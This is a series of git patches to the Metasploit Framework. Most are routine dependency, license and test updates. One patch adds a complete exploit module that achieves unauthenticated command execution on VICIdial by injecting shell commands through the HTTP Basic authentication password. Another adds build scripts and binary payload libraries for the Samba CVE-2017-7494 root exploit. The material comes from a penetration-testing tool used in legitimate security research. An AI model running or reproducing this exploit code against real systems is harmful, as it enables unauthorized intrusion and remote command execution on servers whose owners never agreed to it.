b7f783ab08..52eb6cadfd 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -17,8 +17,6 @@ RUN apk update && \ nmap-scripts \ nmap-nselibs \ postgresql-libs \ - # needed as long as metasploit-framework.gemspec contains a 'git ls' - git \ ncurses \ libcap \ && apk add --virtual .ruby-builddeps \ From 71404f736e39b28e5f49360a209679bed09f5258 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 26 May 2017 23:20:04 -0500 Subject: [PATCH 107/686] update gem licenses --- LICENSE_GEMS | 76 +++++++++++++++++++++++++++------------------------- 1 file changed, 39 insertions(+), 37 deletions(-) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 02fe8b531e..a4e325a2cf 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -6,20 +6,21 @@ activerecord, 4.2.8, MIT activesupport, 4.2.8, MIT addressable, 2.5.1, "Apache 2.0" arel, 6.0.4, MIT -arel-helpers, 2.3.0, unknown +arel-helpers, 2.4.0, unknown aruba, 0.14.2, MIT +backports, 3.8.0, MIT bcrypt, 3.1.11, MIT bindata, 2.4.0, ruby -bit-struct, 0.15.0, ruby +bit-struct, 0.16, ruby builder, 3.2.3, MIT -bundler, 1.14.6, MIT +bundler, 1.15.0, MIT capybara, 2.14.0, MIT childprocess, 0.5.9, MIT coderay, 1.1.1, MIT contracts, 0.16.0, "Simplified BSD" cucumber, 2.4.0, MIT cucumber-core, 1.5.0, MIT -cucumber-rails, 1.4.5, MIT +cucumber-rails, 1.5.0, MIT cucumber-wire, 0.0.1, MIT diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+" docile, 1.1.5, MIT @@ -31,9 +32,9 @@ ffi, 1.9.18, "New BSD" filesize, 0.1.1, MIT fivemat, 1.3.3, MIT gherkin, 4.1.3, MIT -google-protobuf, 3.2.0.2, "New BSD" +google-protobuf, 3.3.0, "New BSD" googleauth, 0.5.1, "Apache 2.0" -grpc, 1.2.5, "New BSD" +grpc, 1.3.4, "New BSD" i18n, 0.8.1, MIT jsobfu, 0.4.2, "New BSD" json, 2.1.0, ruby @@ -43,19 +44,19 @@ logging, 2.2.2, MIT loofah, 2.0.3, MIT memoist, 0.15.0, MIT metasm, 1.0.3, LGPL -metasploit-aggregator, 0.1.3, "New BSD" -metasploit-concern, 2.0.3, "New BSD" -metasploit-credential, 2.0.8, "New BSD" -metasploit-framework, 4.14.17, "New BSD" -metasploit-model, 2.0.3, "New BSD" -metasploit-payloads, 1.2.28, "3-clause (or ""modified"") BSD" +metasploit-aggregator, 0.2.1, "New BSD" +metasploit-concern, 2.0.4, "New BSD" +metasploit-credential, 2.0.9, "New BSD" +metasploit-framework, 4.14.23, "New BSD" +metasploit-model, 2.0.4, "New BSD" +metasploit-payloads, 1.2.29, "3-clause (or ""modified"") BSD" metasploit_data_models, 2.0.14, "New BSD" metasploit_payloads-mettle, 0.1.9, "3-clause (or ""modified"") BSD" -method_source, 0.8.1, MIT +method_source, 0.8.2, MIT mime-types, 3.1, MIT mime-types-data, 3.2016.0521, MIT mini_portile2, 2.1.0, MIT -minitest, 5.10.1, MIT +minitest, 5.10.2, MIT msgpack, 1.1.0, "Apache 2.0" multi_json, 1.12.1, MIT multi_test, 0.1.2, MIT @@ -64,7 +65,7 @@ nessus_rest, 0.1.6, MIT net-ssh, 4.1.0, MIT network_interface, 0.0.1, MIT nexpose, 6.0.0, BSD -nokogiri, 1.7.1, MIT +nokogiri, 1.7.2, MIT octokit, 4.7.0, MIT openssl-ccm, 1.2.1, MIT openvas-omp, 0.0.4, MIT @@ -77,7 +78,7 @@ pg_array_parser, 0.0.9, unknown postgres_ext, 3.0.0, MIT pry, 0.10.4, MIT public_suffix, 2.0.5, MIT -rack, 1.6.5, MIT +rack, 1.6.8, MIT rack-test, 0.6.3, MIT rails-deprecated_sanitizer, 1.0.3, MIT rails-dom-testing, 1.0.8, MIT @@ -85,26 +86,26 @@ rails-html-sanitizer, 1.0.3, MIT railties, 4.2.8, MIT rake, 12.0.0, MIT rb-readline, 0.5.4, BSD -recog, 2.1.6, unknown +recog, 2.1.8, unknown redcarpet, 3.4.0, MIT rex-arch, 0.1.4, "New BSD" -rex-bin_tools, 0.1.2, "New BSD" -rex-core, 0.1.9, "New BSD" -rex-encoder, 0.1.3, "New BSD" -rex-exploitation, 0.1.13, "New BSD" -rex-java, 0.1.4, "New BSD" -rex-mime, 0.1.4, "New BSD" -rex-nop, 0.1.0, unknown -rex-ole, 0.1.5, "New BSD" -rex-powershell, 0.1.71, "New BSD" +rex-bin_tools, 0.1.3, "New BSD" +rex-core, 0.1.10, "New BSD" +rex-encoder, 0.1.4, "New BSD" +rex-exploitation, 0.1.14, "New BSD" +rex-java, 0.1.5, "New BSD" +rex-mime, 0.1.5, "New BSD" +rex-nop, 0.1.1, "New BSD" +rex-ole, 0.1.6, "New BSD" +rex-powershell, 0.1.72, "New BSD" rex-random_identifier, 0.1.2, "New BSD" -rex-registry, 0.1.2, "New BSD" -rex-rop_builder, 0.1.2, "New BSD" -rex-socket, 0.1.5, "New BSD" -rex-sslscan, 0.1.3, "New BSD" -rex-struct2, 0.1.1, "New BSD" -rex-text, 0.2.14, "New BSD" -rex-zip, 0.1.2, "New BSD" +rex-registry, 0.1.3, "New BSD" +rex-rop_builder, 0.1.3, "New BSD" +rex-socket, 0.1.6, "New BSD" +rex-sslscan, 0.1.4, "New BSD" +rex-struct2, 0.1.2, "New BSD" +rex-text, 0.2.15, "New BSD" +rex-zip, 0.1.3, "New BSD" rkelly-remix, 0.0.7, MIT robots, 0.10.1, MIT rspec-core, 3.6.0, MIT @@ -112,14 +113,15 @@ rspec-expectations, 3.6.0, MIT rspec-mocks, 3.6.0, MIT rspec-rails, 3.6.0, MIT rspec-support, 3.6.0, MIT -ruby_smb, 0.0.12, "New BSD" +ruby_smb, 0.0.17, "New BSD" rubyntlm, 0.6.2, MIT rubyzip, 1.2.1, "Simplified BSD" sawyer, 0.8.1, MIT shoulda-matchers, 3.1.1, MIT signet, 0.7.3, "Apache 2.0" simplecov, 0.14.1, MIT -simplecov-html, 0.10.0, MIT +simplecov-html, 0.10.1, MIT +slop, 3.6.0, MIT sqlite3, 1.3.13, "New BSD" sshkey, 1.9.0, MIT thor, 0.19.4, MIT @@ -127,7 +129,7 @@ thread_safe, 0.3.6, "Apache 2.0" timecop, 0.8.1, MIT tzinfo, 1.2.3, MIT tzinfo-data, 1.2017.2, MIT -windows_error, 0.1.1, BSD +windows_error, 0.1.2, BSD xmlrpc, 0.3.0, ruby -xpath, 2.0.0, unknown +xpath, 2.1.0, MIT yard, 0.9.9, MIT From 018e544295cfb84db0699890d02a4fca290f8da8 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 27 May 2017 05:09:38 +0000 Subject: [PATCH 108/686] Add VICIdial user_authorization Unauthenticated Command Execution module --- ...dial_user_authorization_unauth_cmd_exec.rb | 112 ++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb diff --git a/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb new file mode 100644 index 0000000000..42f5bc6090 --- /dev/null +++ b/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VICIdial user_authorization Unauthenticated Command Execution', + 'Description' => %q{ + This module exploits a vulnerability in VICIdial versions + 2.9 RC 1 to 2.13 RC1 which allows unauthenticated users + to execute arbitrary operating system commands as the web + server user if password encryption is enabled (disabled + by default). + + When password encryption is enabled the user's password + supplied using HTTP basic authentication is used in a call + to exec(). + + This module has been tested successfully on version 2.11 RC2 + and 2.13 RC1 on CentOS. + }, + 'License' => MSF_LICENSE, + 'Author' => 'Brendan Coles ', + 'References' => + [ + ['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016'] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + # HTTP Basic authentication password + 'Space' => 2048, + # apostrophe ('), quote ("), semi-colon (;) and backslash (\) + # are removed by preg_replace + 'BadChars' => "\x00\x0A\x22\x27\x3B\x5C", + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl python netcat' + } + }, + 'Targets' => [[ 'Automatic Targeting', {} ]], + 'Privileged' => false, + 'DisclosureDate' => 'May 26 2017', + 'DefaultTarget' => 0)) + register_options([ OptString.new('TARGETURI', [true, 'The base path to VICIdial', '/vicidial/']) ]) + deregister_options('USERNAME', 'PASSWORD') + end + + def check + user = rand_text_alpha(rand(10) + 5) + pass = "#{rand_text_alpha(rand(10) + 5)}&#" + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'), + 'authorization' => basic_auth(user, pass) + + unless res + vprint_status 'Connection failed' + return CheckCode::Unknown + end + + if res.code != 401 + vprint_status "#{peer} Unexpected reply. Expected authentication failure." + return CheckCode::Safe + end + + # Check for input filtering of '#' and '&' characters in password + # Response for invalid credentials is in the form of: |||BAD| + if res.body !~ /\|#{user}\|#{pass}\|BAD\|/ + vprint_status "#{peer} Target is patched." + return CheckCode::Safe + end + + # Check for ../agc/bp.pl password encryption script + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl') + if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/ + vprint_status "#{peer} Password encryption is supported, but may not be enabled." + return CheckCode::Appears + end + + vprint_status "#{peer} Could not verify whether password encryption is supported." + CheckCode::Detected + end + + def execute_command(cmd, opts = {}) + user = rand_text_alpha(rand(10) + 5) + pass = "#{rand_text_alpha(rand(10) + 5)}& #{cmd} #" + + print_status "#{peer} Sending payload (#{cmd.length} bytes)" + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'), + 'authorization' => basic_auth(user, pass) + + if !res + fail_with(Failure::Unreachable, 'Connection failed') + elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/ + print_good "#{peer} Payload sent successfully" + else + fail_with(Failure::UnexpectedReply, 'Unexpected reply') + end + end + + def exploit + execute_command(payload.encoded) + end +end From 11b99d954d36e95590074839596b525638315ede Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 27 May 2017 00:34:12 -0500 Subject: [PATCH 109/686] update specs --- msfupdate | 4 ++-- spec/msfupdate_spec.rb | 17 ----------------- 2 files changed, 2 insertions(+), 19 deletions(-) diff --git a/msfupdate b/msfupdate index c10680cdd6..1a235705c7 100755 --- a/msfupdate +++ b/msfupdate @@ -86,7 +86,7 @@ class Msfupdate def validate_args valid = true - if binary_install? + if binary_install? || apt? if @git_branch stderr.puts "[-] ERROR: git-branch is not supported on this installation" valid = false @@ -96,7 +96,7 @@ class Msfupdate valid = false end end - if git? + if apt? || git? if @offline_file stderr.puts "[-] ERROR: offline-file option is not supported on this installation" valid = false diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 67d4a737e8..0ade870206 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -49,7 +49,6 @@ RSpec.describe Msfupdate do before(:example) do # By default, we want to ensure tests never actually try to execute any # of the update methods unless we are explicitly testing them - allow(subject).to receive(:update_apt!) allow(subject).to receive(:update_binary_install!) allow(subject).to receive(:update_git!) end @@ -219,10 +218,6 @@ RSpec.describe Msfupdate do end context "#run!" do - it "calls update_apt!" do - expect(subject).to receive(:update_apt!) - subject.run! - end it "does not call update_binary_install!" do expect(subject).not_to receive(:update_binary_install!) subject.run! @@ -232,10 +227,6 @@ RSpec.describe Msfupdate do subject.run! end end - - context "#update_apt!" do - # TODO: Add more tests! - end end context "in a binary installation" do @@ -272,10 +263,6 @@ RSpec.describe Msfupdate do end context "#run!" do - it "does not call update_apt!" do - expect(subject).not_to receive(:update_apt!) - subject.run! - end it "calls update_binary_install!" do expect(subject).to receive(:update_binary_install!) subject.run! @@ -326,10 +313,6 @@ RSpec.describe Msfupdate do end context "#run!" do - it "does not call update_apt!" do - expect(subject).not_to receive(:update_apt!) - subject.run! - end it "does not call update_binary_install!" do expect(subject).not_to receive(:update_binary_install!) subject.run! From b7620e13a3291f4c9c7432250a070e6d33eeb55a Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 27 May 2017 00:05:58 -0500 Subject: [PATCH 110/686] remove special case check for invalid options --- lib/msf/ui/console/module_command_dispatcher.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 908f13916b..7f378440cc 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -240,9 +240,6 @@ module ModuleCommandDispatcher rescue ::RuntimeError => e # Some modules raise RuntimeError but we don't necessarily care about those when we run check() elog("#{e.message}\n#{e.backtrace.join("\n")}") - rescue Msf::OptionValidateError => e - print_error("{peer} - Check failed: #{e.message}") - elog("#{e.message}\n#{e.backtrace.join("\n")}") rescue ::Exception => e print_error("Check failed: #{e.class} #{e}") elog("#{e.message}\n#{e.backtrace.join("\n")}") From 184c8f50f183effb4bee1568c3c3f36fb880c09b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 27 May 2017 17:03:01 -0500 Subject: [PATCH 111/686] Rework the Samba exploit & payload model to be magic. --- data/exploits/CVE-2017-7494/build.sh | 44 +++ data/exploits/CVE-2017-7494/install-deps.sh | 21 ++ .../samba-root-findsock-aarch64.so.gz | Bin 0 -> 2679 bytes .../samba-root-findsock-armel.so.gz | Bin 0 -> 2752 bytes .../samba-root-findsock-armhf.so.gz | Bin 0 -> 2737 bytes .../samba-root-findsock-mips.so.gz | Bin 0 -> 2883 bytes .../samba-root-findsock-mips64.so.gz | Bin 0 -> 3026 bytes .../samba-root-findsock-mips64el.so.gz | Bin 0 -> 3048 bytes .../samba-root-findsock-mipsel.so.gz | Bin 0 -> 2894 bytes .../samba-root-findsock-powerpc.so.gz | Bin 0 -> 3266 bytes .../samba-root-findsock-powerpc64.so.gz | Bin 0 -> 3400 bytes .../samba-root-findsock-powerpc64le.so.gz | Bin 0 -> 3284 bytes .../samba-root-findsock-s390x.so.gz | Bin 0 -> 2782 bytes .../samba-root-findsock-sparc.so.gz | Bin 0 -> 2681 bytes .../samba-root-findsock-sparc64.so.gz | Bin 0 -> 2793 bytes .../samba-root-findsock-x86.so.gz | Bin 0 -> 2774 bytes .../samba-root-findsock-x86_64.so.gz | Bin 0 -> 2654 bytes .../CVE-2017-7494/samba-root-findsock.c | 55 ++++ .../samba-root-shellcode-aarch64.so.gz | Bin 0 -> 2599 bytes .../samba-root-shellcode-armel.so.gz | Bin 0 -> 2673 bytes .../samba-root-shellcode-armhf.so.gz | Bin 0 -> 2649 bytes .../samba-root-shellcode-mips.so.gz | Bin 0 -> 2792 bytes .../samba-root-shellcode-mips64.so.gz | Bin 0 -> 2846 bytes .../samba-root-shellcode-mips64el.so.gz | Bin 0 -> 2852 bytes .../samba-root-shellcode-mipsel.so.gz | Bin 0 -> 2800 bytes .../samba-root-shellcode-powerpc.so.gz | Bin 0 -> 3134 bytes .../samba-root-shellcode-powerpc64.so.gz | Bin 0 -> 3306 bytes .../samba-root-shellcode-powerpc64le.so.gz | Bin 0 -> 3154 bytes .../samba-root-shellcode-s390x.so.gz | Bin 0 -> 2818 bytes .../samba-root-shellcode-sparc.so.gz | Bin 0 -> 2618 bytes .../samba-root-shellcode-sparc64.so.gz | Bin 0 -> 2724 bytes .../samba-root-shellcode-x86.so.gz | Bin 0 -> 2630 bytes .../samba-root-shellcode-x86_64.so.gz | Bin 0 -> 2576 bytes .../CVE-2017-7494/samba-root-shellcode.c | 35 +++ .../samba-root-system-aarch64.so.gz | Bin 0 -> 2429 bytes .../samba-root-system-armel.so.gz | Bin 0 -> 2515 bytes .../samba-root-system-armhf.so.gz | Bin 0 -> 2504 bytes .../samba-root-system-mips.so.gz | Bin 0 -> 2579 bytes .../samba-root-system-mips64.so.gz | Bin 0 -> 2653 bytes .../samba-root-system-mips64el.so.gz | Bin 0 -> 2675 bytes .../samba-root-system-mipsel.so.gz | Bin 0 -> 2598 bytes .../samba-root-system-powerpc.so.gz | Bin 0 -> 2902 bytes .../samba-root-system-powerpc64.so.gz | Bin 0 -> 3064 bytes .../samba-root-system-powerpc64le.so.gz | Bin 0 -> 2929 bytes .../samba-root-system-s390x.so.gz | Bin 0 -> 2568 bytes .../samba-root-system-sparc.so.gz | Bin 0 -> 2399 bytes .../samba-root-system-sparc64.so.gz | Bin 0 -> 2495 bytes .../CVE-2017-7494/samba-root-system-x86.so.gz | Bin 0 -> 2450 bytes .../samba-root-system-x86_64.so.gz | Bin 0 -> 2357 bytes .../CVE-2017-7494/samba-root-system.c | 24 ++ .../exploits/linux/samba/is_known_pipename.rb | 279 ++++++++++++++---- 51 files changed, 396 insertions(+), 62 deletions(-) create mode 100755 data/exploits/CVE-2017-7494/build.sh create mode 100755 data/exploits/CVE-2017-7494/install-deps.sh create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-aarch64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-armel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-armhf.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-mips.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-mips64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-mips64el.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-mipsel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-powerpc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-powerpc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-powerpc64le.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-s390x.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-sparc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-sparc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-x86.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-x86_64.so.gz create mode 100644 data/exploits/CVE-2017-7494/samba-root-findsock.c create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-aarch64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-armel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-armhf.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-mips.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-mips64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-mips64el.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-mipsel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc64le.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-s390x.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-sparc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-sparc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-x86.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-x86_64.so.gz create mode 100644 data/exploits/CVE-2017-7494/samba-root-shellcode.c create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-aarch64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-armel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-armhf.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-mips.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-mips64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-mips64el.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-mipsel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-powerpc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-powerpc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-powerpc64le.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-s390x.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-sparc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-sparc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-x86.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-x86_64.so.gz create mode 100644 data/exploits/CVE-2017-7494/samba-root-system.c diff --git a/data/exploits/CVE-2017-7494/build.sh b/data/exploits/CVE-2017-7494/build.sh new file mode 100755 index 0000000000..76edfd31d6 --- /dev/null +++ b/data/exploits/CVE-2017-7494/build.sh @@ -0,0 +1,44 @@ +#!/bin/bash + +build () { + CC=$1 + TARGET_SUFFIX=$2 + CFLAGS=$3 + + echo "[*] Building for ${TARGET_SUFFIX}..." + for type in {shellcode,system,findsock} + do ${CC} ${CFLAGS} -Wall -Werror -fPIC samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so + done +} + +rm -f *.o *.so *.gz + +# x86 +build "gcc" "x86_64" "-m64" +build "gcc" "x86" "-m32" + +# ARM +build "arm-linux-gnueabi-gcc-5" "armel" "-march=armv5 -mlittle-endian" +build "arm-linux-gnueabihf-gcc-5" "armhf" "-march=armv7 -mlittle-endian" +build "aarch64-linux-gnu-gcc-4.9" "aarch64" "" + +# MIPS +build "mips-linux-gnu-gcc-5" "mips" "" +build "mipsel-linux-gnu-gcc-5" "mipsel" "" +build "mips64-linux-gnuabi64-gcc-5" "mips64" "" +build "mips64el-linux-gnuabi64-gcc-5" "mips64el" "" + +# SPARC +build "sparc64-linux-gnu-gcc-5" "sparc64" "" +build "sparc64-linux-gnu-gcc-5" "sparc" "-m32" + +# PowerPC +build "powerpc-linux-gnu-gcc-5" "powerpc" "" +build "powerpc64-linux-gnu-gcc-5" "powerpc64" "" +build "powerpc64le-linux-gnu-gcc-4.9" "powerpc64le" "" + +# S390X +build "s390x-linux-gnu-gcc-5" "s390x" "" + +gzip -9 *.so +rm -f *.o *.so diff --git a/data/exploits/CVE-2017-7494/install-deps.sh b/data/exploits/CVE-2017-7494/install-deps.sh new file mode 100755 index 0000000000..0f2e1b713c --- /dev/null +++ b/data/exploits/CVE-2017-7494/install-deps.sh @@ -0,0 +1,21 @@ +#!/bin/bash + +# Assume x86_64 Ubuntu 16.04 base system +apt-get install build-essential \ + gcc-5-multilib \ + gcc-5-multilib-arm-linux-gnueabi \ + gcc-5-multilib-arm-linux-gnueabihf \ + gcc-5-multilib-mips-linux-gnu \ + gcc-5-multilib-mips64-linux-gnuabi64 \ + gcc-5-multilib-mips64el-linux-gnuabi64 \ + gcc-5-multilib-mipsel-linux-gnu \ + gcc-5-multilib-powerpc-linux-gnu \ + gcc-5-multilib-powerpc64-linux-gnu \ + gcc-5-multilib-s390x-linux-gnu \ + gcc-5-multilib-sparc64-linux-gnu \ + gcc-4.9-powerpc64le-linux-gnu \ + gcc-4.9-aarch64-linux-gnu + +if [ ! -e /usr/include/asm ]; + then ln -sf /usr/include/asm-generic /usr/include/asm +fi diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-aarch64.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-aarch64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..d9d8c56cfd91514664b67735e03d4b66ec4c0b7f GIT binary patch literal 2679 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 lb=3G;Q8h z6sk;0F!^=$2!aVa;lUt4HRFr$*He!mn6L~q0`gr9ZgbGWz~X(pU_?oUhT~;`5#aOo zEj=#NI>n9VS_v80yPrHhH2TWGBL}6wKlA#wBRl@^&Xul<&q_>}$n-u(yzSzzdcP#I zu^u$|!@zQH|DWFf+0u(gUjEM8trxF;Vq^D1?T7yS^w_4KKL5emsnGV*H?G`Vd*J3b zW-85hy2|qTDib%>3yf|cBb?kL0GoJ!1I%-D1HiK!y$;|P4*JIqT5#z53Puvg) z%r#j4T?hVs*uj4Q@Za1Pzm9Y{^b=K`NTyS2*3dGBsuDGxiW@{72Sn7}p&>P@XY`49 